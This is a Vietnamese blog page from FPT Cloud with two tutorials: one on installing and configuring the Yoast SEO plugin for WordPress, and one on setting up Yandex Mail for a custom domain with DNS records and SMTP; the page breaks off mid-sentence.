Blogs Tech

Yoast SEO là gì? Trọn bộ hướng dẫn cách thiết lập và sử dụng Yoast

15:48 15/07/2022
Yoast SEO là Plugin miễn phí, thông dụng bậc nhất trong việc tối ưu các thành phần website. Vì thế, những ai đang vận hành trang web đều nên hiểu rõ về công cụ này. Bài viết dưới đây của FPT Cloud sẽ bắt đầu từ phần giải thích Yoast SEO là gì. Khi đã có kiến thức nền cơ bản, bạn nhanh chóng chuyển sang ứng dụng thực tế. Trong đó bao gồm trọn bộ hướng dẫn cài đặt, thiết lập cùng cách tối ưu. Yoast SEO là gì? Yoast SEO là một trong những Plugin WordPress hàng đầu và phổ biến nhất hiện nay. Công cụ đã được xây dựng và phát triển từ năm 2010 đến nay. Trong suốt quá trình đó, các phiên bản không ngừng nâng cấp, hoàn thiện hơn. [caption id="attachment_28847" align="aligncenter" width="800"] Yoast SEO giúp website tối ưu hơn trong trang kết quả công cụ tìm kiếm[/caption] Đúng như tên gọi, Plugin Yoast SEO giúp tối ưu hóa website trên công cụ tìm kiếm. Cụ thể bao gồm: Tối ưu hóa các từ khóa chính, liên quan, đồng nghĩa trên mọi trang và yếu tố của website. Cải thiện SEO Onpage trên từng trang con. Chia sẻ kiến thức trên các nền tảng chung như Facebook, Google,… Yoast SEO WordPress kiểm tra thông tin của sitemap.xml là gì, file robots.txt, .htaccess, liên kết cố định. Đảm bảo nội dung không trùng lặp bằng cách cấu hình URL chuẩn… Sau khi trải nghiệm YoastSEO trong thực tế, bạn sẽ còn thấy vô vàn những tiện ích khác. Qua đó giúp thứ hạng và mức độ tin cậy của website cải thiện nhanh chóng trong Search Engine. >>> Có thể bạn quan tâm: HTTP2 là gì? Tác động của HTTP2 đến hoạt động SEO Website Cách cài đặt Yoast SEO Có thể nói rằng, việc cài đặt Yoast SEO vô cùng đơn giản. Bạn không cần phải là có kiến thức chuyên sâu về công nghệ. Yêu cầu căn bản là sử dụng được máy tính, hiểu biết sơ bộ về quản trị website. [caption id="attachment_28849" align="aligncenter" width="800"] Quá trình cài đặt Yoast SEO diễn ra hoàn toàn tự động[/caption] Thời gian thiết lập trung bình chỉ trong khoảng 10 – 15 phút. Bạn chỉ cần làm đầy đủ các bước theo trình tự dưới đây chắc chắn sẽ thành công: Bước đầu tiên tiến hành đăng nhập vào bảng quản trị WordPress của bạn, ấn tìm Plugins. Tiếp theo là click vào mục “Add New” ở phía thanh trái màn hình. Khi màn hình xuất hiện trang Add Plugin, bạn tìm kiếm công cụ có tên Yoast Seo. Biểu tượng sẽ xuất hiện tại góc bên phải cửa sổ. Nếu đã tìm thấy chính xác Plugin, bạn nhấp chuột “Install Now”. Kiểm tra thanh menu phía trái, bạn thấy mục mới có tên SEO. Ngay bên cạnh đó sẽ là biểu tượng nhỏ, chữ Y dài. Khi đã đến được bước này, quá trình cài đặt chắc chắn thành công. Bạn chính thức đi vào khai thác tính năng bên trong Plugin. Hướng dẫn thiết lập Yoast Giao diện của Yoast khá thân thiện với người dùng. Vì thế, bạn sẽ không mất nhiều thời gian ban đầu để thiết lập theo nhu cầu sử dụng. Cấu hình Ngay trong phần làm quen cùng Plugin, bạn sẽ được hướng dẫn cơ bản quy trình cấu hình. Cụ thể như sau: Lựa chọn tình trạng website: Nếu chọn A nghĩa là web đã đi vào hoạt động, sẵn sàng lập chỉ mục. Phương án B dành cho đối tượng đang trong quá trình xây dựng, không được Index. Yêu cầu chọn kiểu website bạn đang hướng đến xây dựng là gì. Tại bước 3, bạn cần cho biết website đại diện cho tổ chức hay cá nhân. Lưu ý là nếu chọn đối tượng là Organization sẽ cần cung cấp nhiều thông tin hơn. Ví dụ như logo, URL Facebook, Instagram… Bước này yêu cầu lựa chọn nội dung được xuất hiện trên kết quả tìm kiếm. Theo kinh nghiệm, bạn nên chọn cả “Posts” và “Pages”. Bước 5 đặt ra câu hỏi website có nhiều tác giả không? Tại phần Title Settings, bạn có thể đặt tên website của mình. Tiếp theo, bạn chỉ cần bấm “Next” cho đến khi hiện ra thông báo hoàn thành là kết thúc. Quá trình cấu hình giúp công cụ nắm bắt sơ bộ về trạng thái, đặc điểm website. Bên cạnh đó cũng dự đoán nhu cầu tối ưu trong thời gian tới là gì. Dashboard Dashboard chính là nơi đầu tiên bạn đi đến khi bắt đầu sử dụng Yoast SEO. Bảng điều khiển này bao gồm 3 tab là: Dashboard, Features, Webmaster Tool. [caption id="attachment_28852" align="aligncenter" width="800"] Trong phần Dashboard sẽ chỉ ra Problems và Notifications[/caption] Tại đây, bạn thấy thông báo hiển thị liên quan đến SEO website. Cụ thể, mục Problems chỉ ra các vấn đề nghiêm trọng, cần giải quyết ngay. Trong khi đó, Notifications là lỗi nhẹ có thể chưa phải khắc phục tức thì. Features Trong mục Features sẽ list ra tất cả các tính năng bạn có thể khai thác trên Yoast. Đối với những loại cần thiết, hãy chuyển sang trạng thái On. Ngược lại, với chức năng bạn thấy không thực sự cần thiết sẽ để Off. Khi đã có điều chỉnh nhất định, người dùng cần Save lại để hệ thống ghi nhận. Webmaster Tools Trong mục Webmaster Tools sẽ yêu cầu mã xác nhận tài khoản của một số công cụ tìm kiếm. Ví dụ tiêu biểu như là Google Search Console. [caption id="attachment_28854" align="aligncenter" width="800"] Tại Webmaster Tools, bạn sẽ lấy mã code[/caption] Bạn chỉ cần bấm vào link màu xanh phía dưới ô trống để lấy mã code. Sau đó, hãy làm theo hướng dẫn cho Yoast chỉ ra. General Xuất hiện ngay đầu tiên của mục General sẽ là Title Separator. Đây được hiểu là biểu tượng hiển thị giữa Site Name và Post Title. Giả sử, bạn xuất bản bài viết có đầu mục: “Yoast SEO là gì – FPT Cloud”. Dấu gạch ngang “-” xuất hiện ở đây chính là Title Separator đã chèn vào. Ngoài ra, bạn cũng có thể thay thế bằng biểu tượng khác. Content Type Bên cạnh General sẽ là Content Type. Phần này quy định cách bạn cho phép kết quả tìm kiếm xuất hiện như thế nào. [caption id="attachment_28856" align="aligncenter" width="800"] Content Type quy định cách nội dung sẽ xuất hiện trên trang kết quả[/caption] Đối với dòng hiển thị có tên “Show Posts in search results?”, bạn chọn No. Tùy chọn được hiểu là Noindex – không lập chỉ mục. Tiếp theo là “Date in Snippet Preview”, hãy để ở trạng thái ẩn vì không quan trọng. Cuối cùng, tại mục “Yoast SEO Meta Box”, bạn thiết lập trạng thái Show. Chỉ với ba bước điều chỉnh như vậy là đã hoàn tất Content Type. Media Mục Media này sẽ phát huy tác dụng khi upload hình ảnh, video lên WordPress. Từ đó, công cụ tạo ra URL riêng cho những file đó. Thông thường, hình thức xuất hiện là trang trắng. Nếu như bạn không có ý định ứng dụng, hãy để là Disable. Taxonomies Taxonomies cũng là một phần trong quá trình thiết lập Plugin. Tại đây, bạn lựa chọn cách Category hiển thị như thế nào trên Google Search. [caption id="attachment_28858" align="aligncenter" width="800"] Taxonomies thiết lập cách Category hiển thị[/caption] Thao tác thực hiện là chọn “Yes” và kéo xuống dưới. Đến phần “Yoast SEO Meta Box”, bạn tiếp tục nhấn “Yes” một lần nữa. Archives Tại đây, các chuyên gia khuyên bạn nên để disable tính năng “Author archives”. Điều này càng cần thiết hơn nếu nội dung chỉ được xây dựng bởi một tác giả duy nhất. Việc chuyển sang trạng thái Archives tại trang chủ có thể sẽ vướng vào vấn đề trùng lặp nội dung. Hãy cân nhắc cả việc disable trong “Search Results” hoặc chặn tại robots.txt. Phần dưới là “data archives settings” cũng thực hiện tương tự. Breadcrumbs Breadcrumbs là thuật ngữ dùng để chỉ đường dẫn, xuất hiện đầu bài viết. Nhìn vào đó, bạn biết mình đang truy cập vào vị trí nào của website. Tại đây có các mục với ý nghĩa như bảng sau. ✅Các mục Ý nghĩa ✅Separator between breadcrumbs Đề cập đến icon giữa breadcrumbs. ✅Anchor text for Homepage Ví dụ phổ biến bạn có thể đặt là Home. ✅Mục Prefix for the breadcrumbs path Dùng để chỉ tiền tố cho đường dẫn Breadcrumbs. ✅Mục Prefix for Archive breadcrumbs Dùng để chỉ tiền tố cho đường dẫn trên Archive Page. ✅Mục Prefix for Search Page breadcrumbs Đường dẫn cho các trang không tìm thấy, gặp lỗi 404. RSS Bạn sẽ cần đến sự hỗ trợ của tính năng này nếu sử dụng RSS Feed. Trái lại, nếu không có nhu cầu, bạn chưa phải quan tâm đến việc thiết lập. Về cơ bản, RSS Feed sẽ cung cấp nội dung tóm tắt của một bài viết nào đó. Thông tin định dạng trên XML. Social Chắc chắn, đây là mục không cần phải giải thích ý nghĩa quá nhiều. Tại đây, bạn có thể thiết lập các tài khoản trên mạng xã hội. [caption id="attachment_28861" align="aligncenter" width="800"] Phần Social cho phép xem trước các bản preview trước khi nội dung đăng lên[/caption] Yêu cầu cần đáp ứng là điền URL các trang hoặc Twitter, Instagram là được. Trong tab Facebook sẽ xuất hiện tùy chọn Meta Open Graph. Mục đích sử dụng để hiện bản preview khi thông tin chia sẻ trên Facebook. Tools Tiếp theo, bạn sẽ cần làm quen các tính năng hỗ trợ trong mục Tools. Plugin Yoast SEO cung cấp 4 công cụ chính, bao gồm: Import and Export: Đây là các Settings từ website khác để tái sử dụng. File Editor: Người dùng có thể chỉnh sửa nhanh file robot.txt và file htaccess. Bulk editor: Với sự hỗ trợ này, bạn nhanh chóng chỉnh sửa Title và Description của post hoặc page. Text link counter: Công cụ sẽ đếm giúp bạn số link được đếm trên toàn bộ Text. Tại đây, bạn sẽ thấy tính năng Import & Export vô cùng hữu dụng. Nhờ đó, bạn tận dụng triệt để những thiết lập hữu ích đã có. Premium Phần này sẽ tập trung giới thiệu các tính năng cao cấp của phiên bản Yoast SEO Premium. Nếu có nhu cầu nâng cấp bạn có thể nghiên cứu thêm. Tuy nhiên, khi mới làm quen, bạn chưa cần thiết tìm hiểu quá sâu vào mục này. Các chức năng cơ bản cũng đã phục vụ rất tốt nhu cầu tối ưu website. >>> Có thể bạn quan tâm: Tìm hiểu vòng đời của tên miền quốc tế và hướng dẫn đăng ký Hướng dẫn sử dụng Yoast cho người mới bắt đầu Sau khi đã hoàn tất các thiết lập cơ bản, bạn chính thức đi vào khai thác chức năng. Dưới đây là những định hướng cơ bản nhưng vô cùng quan trọng với người mới làm quen Yoast SEO. Tối ưu Onpage Trong phần này sẽ giúp bạn trả lời làm thế nào để tối ưu Onpage với Yoast. Khi bắt tay vào thực hành, bạn nhận ra ngay những sự hỗ trợ là rất nhanh chóng, tiện lợi. [caption id="" align="aligncenter" width="800"] Với Yoast SEO, bạn sẽ có cái nhìn tổng quan về tình trạng Onpage[/caption] Bạn có nhu cầu tạo bài viết mới, hãy kéo xuống dưới để thấy giao diện Yoast SEO. Tại đây, hãy lưu ý một số chức năng quan trọng nhất như là: Focus Keyword: Nhìn vào đó, bạn biết được cụm từ khóa chính đang được tối ưu cho bài viết. Snippet Preview: Phần này là kết quả mô phỏng trên trang Google Search. Bạn thấy nội dung của mình hiển thị như nào từ tiêu đề đến mô tả. Lưu ý là hãy chọn PC hoặc Mobile, dựa theo nhu cầu tối ưu. Readability analysis: Khả năng dễ đọc của nội dung sẽ được xuất bản. SEO analysis: Yoast SEO sẽ nhắc nhở nếu yếu tố nào đó không thỏa mãn tiêu chuẩn SEO. Add related keyphrase: Chỉ ra cụm từ khóa liên quan. Đây đều là những yếu tố gần gũi, cần quan tâm hàng đầu khi sáng tạo nội dung. Nhờ có công cụ, khâu kiểm duyệt tiết kiệm được đáng kể thời gian. Tối ưu bài viết Tại đây, bạn sẽ hiểu rõ hơn những hướng dẫn Yoast SEO Premium giúp tối ưu bài viết. Các mục cơ bản bắt buộc cần kiểm duyệt như là: Cụm từ khóa chính: Nhắm tới những keyword có lượng search hàng đầu. SEO title: Bắt buộc phải chứa từ khóa chính. Ngoài ra, đặc tính quan trọng là đảm bảo sự lôi cuốn, nhìn là muốn bấm vào ngay. Slug: đường dẫn cũng bắt buộc phải bao gồm từ khóa SEO. Meta Description: Hàm chứa từ khóa chính và từ khóa liên quan, thể hiện được câu trả lời cho mục đích tìm kiếm của người dùng. Ngoài ra, dưới đây là các phần báo cáo, đánh giá tại phiên bản Premium. Khả năng dễ đọc Có rất nhiều cách để bài viết trở nên dễ đọc hơn. Đầu tiên, bạn cần ưu tiên font chữ như: Arial, Open Sans, Lato, Roboto… Bố cục trở nên gọn gàng, mang lại cảm giác chuyên nghiệp. [caption id="attachment_28865" align="aligncenter" width="800"] Nếu tất cả đều chuyển xanh chứng tỏ khả năng dễ đọc đạt chuẩn[/caption] Bên cạnh đó, Yoast SEO khuyên người dùng cần căn chỉnh độ dài câu, dưới 20 từ. Bài viết bắt buộc phải triển khai ý theo nhiều tiêu đề con, tạo nên mục lục. Một đoạn văn không nên quá dài, tối đa là 300 từ. Ngoài ra, các tips sau cũng cần được cân nhắc: Nên chọn font size trong khoảng từ 14 – 16. Khoảng cách giữa các dòng khuyên dùng là 1.5 – 1.6 là tối ưu nhất. Tận dụng bullet để liệt kê các ý. Thêm bảng để hỗ trợ quá trình so sánh. Chọn ảnh có kích thước phù hợp cũng là cách cải thiện khả năng dễ đọc. Bạn không nhất thiết phải tuân thủ theo 100% các tiêu chí trên. Điều quan trọng nhất vẫn là sự hài hòa, hợp lý, truyền tải được giá trị. Phân tích SEO Trong phần này sẽ xuất hiện trường “Keyphrase synonyms”. Tại đây, bạn có thể chọn thêm từ khóa đồng nghĩa để tối ưu. Sau đó, Yoast SEO sẽ đưa ra phân tích. Nếu tất cả mục đều bật đèn xanh chứng tỏ không cần chỉnh sửa gì thêm. Một số tips là: Bạn nên để các link trỏ đến và đi tới những Site uy tín khác. Các cụm từ khóa chính phân bố đều và không quên chèn thêm từ đồng nghĩa. Thêm liên kết tới nội dung liên quan giúp người dùng ở lại lâu hơn với bạn. Đặt thuộc tính alt cho ảnh cần đảm bảo mang ý nghĩa. Bài viết đề cập đến nội dung quan trọng cần xây dựng từ ít nhất 1800 từ. Phân tích SEO đến từ Yoast thực sự là một chức năng cần phải có. Bạn thấy ngay định hướng chỉnh sửa bài viết rõ ràng, chi tiết. Trên đây là những kiến thức thiết thực cần biết với những ai đang tìm cách tối ưu SEO. Sự hỗ trợ của công cụ sẽ giúp bạn tiết kiệm thời gian, kiểm soát vấn đề tốt hơn. Tính hữu dụng đã được chứng minh qua hàng triệu lượt cài đặt Plugin. Vì thế, FPT Cloud tin rằng bạn nên khai thác Yoast SEO từ sớm để thấy tính hữu dụng vượt bậc. Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399  

Yandex là gì? Cách sử dụng khi làm việc với Yandex Mail hiệu quả

10:05 28/07/2022
Yandex là gì? Đây là tên công ty công nghệ của Nga, nổi tiếng với dịch vụ Mail. Dưới đây, FPT Cloud sẽ tập trung làm rõ đặc điểm của công cụ đến từ nhà phát triển này. Bạn nhanh chóng nhận ra mình có phải đối tượng phù hợp để đăng ký Yandex không. Bên cạnh đó là trọn bộ hướng dẫn sử dụng và thủ thuật cần biết nhằm khai thác triệt để. Yandex là gì? Trong phần mở đầu, bạn sẽ biết câu trả lời Yandex là gì rõ ràng nhất. Đây là tên gọi của công ty công nghệ chuyên về lĩnh vực web của Nga. [caption id="attachment_29347" align="aligncenter" width="800"] Yandex là một trong những công ty chuyên về công nghệ hàng đầu tại Nga[/caption] Theo số lượng thống kê của Comscore, Yandex là thương hiệu được tìm kiếm lớn thứ 4 thế giới. Họ ghi nhận hơn 150 triệu lượt tìm kiếm mỗi ngày và khoảng 50 triệu người dùng thường xuyên. Tuy vậy, khi tìm hiểu Yandex là gì, ý định của nhiều người không phải là muốn biết rõ về công ty này. Thay vào đó, điều họ trông chờ chính là dịch vụ Mail Yandex của hãng. Vì thế, trong các phần tiếp theo của bài viết sẽ nhắc đến công cụ Mail này với tên ngắn gọn là Yandex. Hãy đọc những thông tin dưới đây để hiểu rõ hơn về đối tượng đang được nhắc đến. >>> Có thể bạn quan tâm: XMLRPC là gì? Ứng dụng & cách vô hiệu hóa XMLRPC khi cần Yandex Mail là gì? Yandex Mail là gì? Đây là dịch vụ Email miễn phí với khả năng cung cấp lưu trữ thư trực tuyến không giới hạn. [caption id="attachment_29350" align="aligncenter" width="800"] Yandex Mail là dịch vụ Email chuyên nghiệp, hàng đầu tại Nga[/caption] Theo thống kê, tại nước Nga, dịch vụ tương tự của Google phải xếp sau Yandex. Từ nhận định chuyên gia, các chức năng hoàn toàn tương tự như G Suite. Thế nhưng, đặc trưng nổi bật cần nhấn mạnh lại là miễn phí. Nhằm khai thác, bạn chỉ cần thiết lập đơn giản để tạo tài khoản Email. Ngay sau đó, người dùng đã có thể sử dụng phiên bản Yandex tiêu chuẩn. Ưu, nhược điểm của Yandex Mail Ưu, nhược điểm của Mail Yandex là gì? Trong quá trình sử dụng, bạn sẽ thấy thực sự ấn tượng với những lợi ích mang lại. Tuy thế, một số hạn chế vẫn còn tồn tại là điều không thể phủ nhận. Ưu điểm Như bạn đã biết khi tìm hiểu Yandex là gì, công cụ free 100%. Bên cạnh đó, số lượng thư không giới hạn và sở hữu nhiều điểm mạnh hơn thế: [caption id="attachment_29352" align="aligncenter" width="800"] Giao diện của Yandex được đánh giá cao về tính thẩm mỹ và dễ thao tác[/caption] Nếu tần suất làm việc với Email không quá nhiều, Yandex là lựa chọn hoàn hảo. Bởi vì, công cụ được đánh giá là hoạt động tương đối ổn định. Ngay khi trải nghiệm, bạn sẽ hài lòng với một giao diện đẹp, dễ dàng thao tác. Người dùng có thể tự thiết lập hộp thư dễ dàng với 1000 địa chỉ Mail hoàn toàn free. Các tính năng sử dụng mượt mà ngay cả khi thao tác trên thiết bị di động. Bạn hoàn toàn có thể gửi tin nhắn, tệp đính kèm, nhận thông báo dù đang ở bất kỳ nơi đâu. Các thư được quản lý bằng cách nhóm theo chủ đề, lọc bằng nhãn dán nếu bạn muốn. Qua đó đủ để bạn thấy sức mạnh của Yandex là gì. Đây thực sự là công cụ xứng đáng để bạn trải nghiệm nhiều hơn. Nhược điểm Những nhược điểm này dựa trên trải nghiệm trong thực tế của người dùng. Bạn nên tham khảo để có cái nhìn tổng quan về Yandex là gì. [caption id="" align="aligncenter" width="800"] Bạn có thể bị nghi ngờ là Spam nếu gửi đi nhiều thư giống nhau[/caption] Thư có thể xếp vào diện nghi ngờ Spam nếu bạn gửi nhiều Mail giống nhau cùng lúc. Thậm chí, nếu tệ hơn, tài khoản còn có thể bị khóa trong vòng 24h. Vào những lúc như thế, người dùng không được hỗ trợ kháng nghị. Bạn chỉ có thể chờ cho đến khi Account được hệ thống mở lại. Điểm yếu của Yandex thể hiện rõ khi bạn sử dụng với Outlook. Lúc này, khả năng load tương đối chậm. Trang chủ chỉ hiển thị tiếng Nga nên việc hỗ trợ nhu cầu người dùng chưa thực sự tốt. Đó là những điều cần biết để trả lời điểm yếu của Yandex là gì. Thế nhưng, bạn chỉ nên tham khảo ở mức tương đối vì trải nghiệm mỗi người đều khác nhau. Tại sao nên sử dụng Yandex Mail? Có không ít quan điểm đưa ra khi được hỏi lý do nên sử dụng Yandex là gì? Bên cạnh thế mạnh đã nêu ở trên là những ưu điểm về mặt kỹ thuật. Nhà phát triển cung cấp dịch vụ Email miễn phí. Trong đó bao gồm cả dung lượng lưu trữ trực tuyến không giới hạn. Người dùng được cấp quyền truy cập POP và IMAP. Nhờ vậy, việc thiết lập trên máy tính để bàn và thiết bị di động rất thuận lợi. Bên cạnh đó, Yandex Mail hỗ trợ tìm nạp thư từ tài khoản Email POP/IMAP. Cho phép người dùng truy cập thông qua các kết nối SSL/TLS an toàn. Hỗ trợ đọc và gửi thư bằng tiếng nước ngoài nhờ trình dịch tích hợp. Tích hợp Yandex Disk để người dùng gửi các tệp lớn hơn trong khi không cần đính kèm chúng vào thư. Công cụ yêu cầu gửi thông báo DSN tiêu chuẩn cho các thông điệp bạn gửi đi. Điểm thú vị khi tìm hiểu Yandex là gì? Ứng dụng giúp gửi lời mời, lời chúc và lời chào hàng ngày phong phú kèm tin nhắn tự động. Bộ lọc hữu hiệu trong việc loại bỏ thư rác, virus cũng như thông điệp có dấu hiệu lừa đảo. Công cụ Yandex Mail có sẵn trong phiên bản dùng HTML đơn giản. Vì thế, công cụ hoạt động tốt hơn với một số trình duyệt và kết nối Internet nhất định. Đó là những lợi thế kỹ thuật bạn nên biết khi tìm hiểu Yandex là gì? Đây thực sự là công cụ đặt trải nghiệm an toàn của người dùng lên hàng đầu. Hướng dẫn sử dụng Mail Yandex Các tác vụ trong hướng dẫn sử dụng Mail Yandex là gì? Dưới đây là những điều cơ bản cần biết để quá trình khai thác diễn ra thuận tiện. Đăng ký Yandex Thao tác cần biết để thành công trong việc đăng ký Yandex là gì? Người dùng cần đáp ứng đầy đủ yêu cầu như sau: [caption id="" align="aligncenter" width="800"] Để sử dụng, bạn cần trải qua bước đăng ký tài khoản Yandex[/caption] Truy cập vào: https://passport.yandex.com/registration/. Tại phần Mobile phone number, hãy nhập số di động theo định dạng gồm cả mã quốc gia +84xxxxxxxxxx. Nhấn “Send code”. Mã passcode được gửi về điện thoại qua tin nhắn SMS. Bạn sử dụng mã đó để điền vào rồi ấn Register và Accept để đăng ký. Ứng dụng yêu cầu thêm Domain vào tài khoản Yandex. Bạn vui lòng đi tới https://domain.yandex.com/domains_add/. Tại đây, hãy nhập tên miền mong muốn vào hệ thống rồi ấn “Sign up free”. Tiến hành xác thực tên miền để sử dụng dịch vụ Mail. Click lần lượt qua mục Organization profile >> click chọn Domains >> click DNS record. Tại đây, bạn cấu hình bản ghi TXT phía Yandex cung cấp để được thông qua xác thực Đó là những bước đầu tiên cần thực hiện trước khi đến với cấu hình Mail Yandex sâu hơn. Hãy theo dõi tiếp các bước sau để hiểu quy trình trọn vẹn nhất. Xác nhận quyền sở hữu tên miền Phương thức để xác nhận quyền sở hữu tên miền trong Yandex là gì? Bạn được quyền lựa chọn một trong hai kỹ thuật dưới đây. Tiến hành tạo file HTML là upload lên Host Với cách này, bạn bắt buộc phải thỏa mãn hai điều kiện. Đầu tiên chính là đã đăng ký Web Hosting. Tiếp đó, tên miền đang được trỏ về Hosting hoạt động bình thường. [caption id="attachment_29356" align="aligncenter" width="800"] Bạn có thể xác nhận quyền sở hữu Domain bằng cách tạo file HTML[/caption] Nếu đã sẵn sàng với các điều trên, bạn chỉ cần dùng Notepad tạo 1 file HTML với nội dung là mã số được cấp. Sau đó, hãy tải lên thư mục chính của website. Dấu hiệu nhận biết đã hoàn thành là sẽ tồn tại ở dạng: https://tenmiencuaban.xyz//<tên file>. Khi click vào nội dung có dạng như bạn đã soạn thảo trên Notepad. Điều này chứng tỏ là đã hoàn tất bước xác nhận quyền sở hữu. Cấu hình record CNAME Khi chưa có Hosting, phương pháp thay thế để xác nhận quyền sở hữu Domain trên Yandex là gì? Bạn truy cập vào trang quản lý DNS và tạo 1 file CNAME với giá trị là yamail-cbb44331fbf5. Lưu ý, cbb44331fbf5 là tên đã được quy định sẵn của bạn. Sau đó, hãy trỏ đến đường link: http://mail.yandex.com là đã hoàn tất. Như vậy, bạn đã biết cả hai phương pháp làm việc với Yandex là gì? Sau khi thành công, bạn quay trở lại trang quản lý của Yandex Mail và nhấn vào “Verify domain ownership”. Lưu ý rằng, để hoàn tất record cần một thời gian tối đa 24h. Ngoài ra, người dùng thêm dấu chấm vào giá trị record thì mới lưu lại được, cụ thể mail.yandex.com. Cấu hình Record MX Tiếp theo, bạn cần biết thao tác cấu hình Record MX trong Yandex là gì. Đây là bước rất quan trọng, nếu thực hiện sau sẽ không nhận được Email. [caption id="attachment_29358" align="aligncenter" width="800"] Để cấu hình Record MX, bạn đi đến DNS Management[/caption] Người dùng click vào DNS management và cấu hình thêm các bản ghi phía Yandex cung cấp. Cụ thể trong trang quản lý DNS, hãy xóa hết record MX hiện tại. Thay vào đó, bạn tạo bản khác với tên là @(hoặc domain.com nếu đặt tên @ không được chấp nhận). Quy trình tiếp tục bằng cách trỏ đến Server mx.yandex.net với Priority là 10. Cuối cùng, bạn nhấn nút Verify MX records để hoàn tất xác nhận. Chỉ đơn giản như vậy là bạn đã hình dung ra cấu hình trên Yandex là gì. Tạo link đăng nhập Cách để tạo link đăng nhập trong trang cấu hình DNS của Yandex là gì? Bạn được yêu cầu khởi tạo một record CNAME tên Email. Đây là tên bắt buộc, bạn không thể dùng những hình thức tên đăng nhập khác. Sau đó, hãy tiến hành trỏ đến domain.mail.yandex.net. Kể từ giờ, mỗi lần đăng nhập vào webmail, bạn chỉ cần sử dụng đường dẫn http://mail.domain.com. Thêm user mới Bạn đi tới trang Mail for Domain, vào phần New mailbox. Tại đây hãy nhập địa chỉ Email muốn tạo rồi nhấn nút Add. Đối với khoản email thứ 2 trở đi, bạn hãy nhấn link Add mailbox để nhập thêm. Như đã biết trong phần giải thích Mail Yandex là gì, giới hạn cho phép là 1000 Mailbox. Cấu hình SPF và DKIM Mục đích cấu hình SPF và DKIM trong Yandex là gì? Hoạt động này nhằm mục đích hạn chế Email gửi đi bị chuyển vào Spam. Bạn đi tới DNS Management và tìm hai bản record rồi tiến hành copy. Sau đó, hãy thêm chúng vào cấu hình DNS của tên miền. - Nhấn vào đường link DNS editor trong trang quản lý Email for Domain. - Trong bảng DNS records, chú ý 2 record SPF và DKIM để add thêm vào DNS của Domain. Đến đây, bạn đã cơ bản thiết lập thành công các bảng ghi cho tên miền. Nếu thực hiện đúng, trong phần quản lý Domain sẽ xuất hiện biểu tượng xác thực. Ngoài ra, người dùng cũng nhận được 1 SMS gửi vào số điện thoại đăng ký tài khoản. >>> Có thể bạn quan tâm: Webmail là gì? Tìm hiểu chức năng và hướng dẫn sử dụng Webmail Thủ thuật cần biết khi dùng Email Yandex Những thủ thuật cần biết khi sử dụng Email Yandex là gì? Chia sẻ trong phần dưới đây sẽ giúp bạn có những trải nghiệm hoàn hảo hơn. Tạo địa chỉ Email mặc định Tính năng này khá thú vị, bạn nên biết khi tìm hiểu Yandex là gì? Địa chỉ Email mặc định dùng để lưu trữ toàn bộ thư gửi đến những hòm Mail vốn không tồn tại. [caption id="attachment_29360" align="aligncenter" width="800"] Yandex cho phép người dùng tạo địa chỉ Email mặc định[/caption] Để cấu hình địa chỉ này, bạn nhấn link Configure Domain. Sau đó, hãy chọn đối tượng mong muốn và  nhấn Select để hoàn tất. Ngay sau khi đăng nhập, bạn sẽ nhận được thông báo thêm địa chỉ Email dự phòng. Mục đích là để phục hồi quyền truy cập nếu tài khoản bị khóa. Sử dụng phần mềm quản lý Email Sử dụng phần mềm quản lý Email Yandex là gì? Hoạt động này là chính sách hỗ trợ kiểm tra và giám sát Mail trên thiết bị động. Bạn có thể cài đặt đối với cả hệ điều hành Android và iOS: Yandex.Mail Android. Yandex.Mail iOS. Người dùng được khuyến khích thiết lập để có trải nghiệm an toàn, dài lâu. Qua đó cũng đảm bảo không bị gián đoạn quá trình truyền tải thư. Ứng dụng Yandex SMTP trong gửi Mail Làm thế nào để gửi thông báo Email với WordPress sử dụng Yandex SMTP? Bạn nên tiến hành cài đặt Plugin WP Mail SMTP rồi tiến hành cấu hình. [caption id="attachment_29362" align="aligncenter" width="800"] Bạn nên cân nhắc đến việc ứng dụng Yandex SMTP trong gửi Mail[/caption] SMTP Options sử dụng SSL như trong hướng dẫn khi tìm hiểu Yandex là gì. Nếu bạn thao tác Send Test Email không được, hãy thử chuyển qua TLS . Tự động Forward đến một địa chỉ khác Thao tác cần thực hiện khi muốn tự động Forward Email Yandex là gì? Bạn đăng nhập vào Email, chọn All Settings rồi nhấn vào mục Message filtering. Tiếp theo, hãy ấn nút Create filter và tạo filter với điều kiện Email gửi tới địa chỉ của bạn(To or Cc matches). Chỉ cần thiết lập chế độ này, việc chuyển tiếp sang nơi khác như Gmail vô cùng dễ dàng. Hiển thị Avatar khi gửi thư Khi mới tìm hiểu Yandex là gì, bạn sẽ thấy ảnh đại diện mặc định màu xám. Để chuyên nghiệp hơn, hãy bổ sung Avatar cho hòm Mail. [caption id="attachment_29364" align="aligncenter" width="800"] Bạn nên đổi Avatar để trông chuyên nghiệp hơn khi xuất hiện trong hòm thư người nhận[/caption] Đầu tiên, bạn cần đăng ký cho mình một tài khoản Google. Sau đó, hãy click “I prefer to use my current email address” rồi nhập địa chỉ email Yandex vừa tạo. Tiếp theo, trong trang https://plus.google.com, bạn cần click nút Join Google+. Thao tác này nhằm mục đích tạo profile và tải ảnh đại diện lên cùng lúc. Hiển thị tên thay cho địa chỉ Email khi gửi thư đến người khác Đây là một đặc điểm đáng để lưu tâm trong quá trình tìm hiểu Mail Yandex là gì. Nếu như bạn không cấu hình, địa chỉ Email khi gửi đi sẽ xuất hiện đầy đủ tên thay vì để tên thật. Đôi khi, điều này khiến hình ảnh của bạn thiếu đi sự chuyên nghiệp. Để chuyển đổi, bạn click vào biểu tượng Settings bánh răng ở ngoài cùng bên phải. Sau đó, hãy chọn Personal data, signature, picture rồi nhập tên muốn hiển thị trong ô Your Name. Gửi tệp lớn, có file đính kèm trong Yandex Khi tìm hiểu Yandex là gì, bạn đã biết đến khả năng đính kèm tệp riêng lẻ có kích thước lên tới 22MB. Trong mỗi Email, tổng dung lượng cho phép tải tệp là 30MB. Ngoài ra, bạn cũng có thể tăng giới hạn lên thêm 2GB cho mỗi file. Mẹo ở đây là chèn một liên kết vào tệp rồi load lên dịch vụ lưu trữ đám mây Yandex.Disk. Ngay sau đó, các tệp lớn được tự động tải lên và lưu trữ. Nếu bạn di chuyển đối tượng từ tệp đính kèm Email sang thư mục khác điều gì xảy ra? Người nhận thư vẫn có thể truy cập vào đó. Thế nhưng, nếu tắt liên kết công khai hoặc xóa bỏ tệp này, người kia không thể xem được. Mặt khác, điều cần lưu ý là file đính kèm này sẽ chiếm 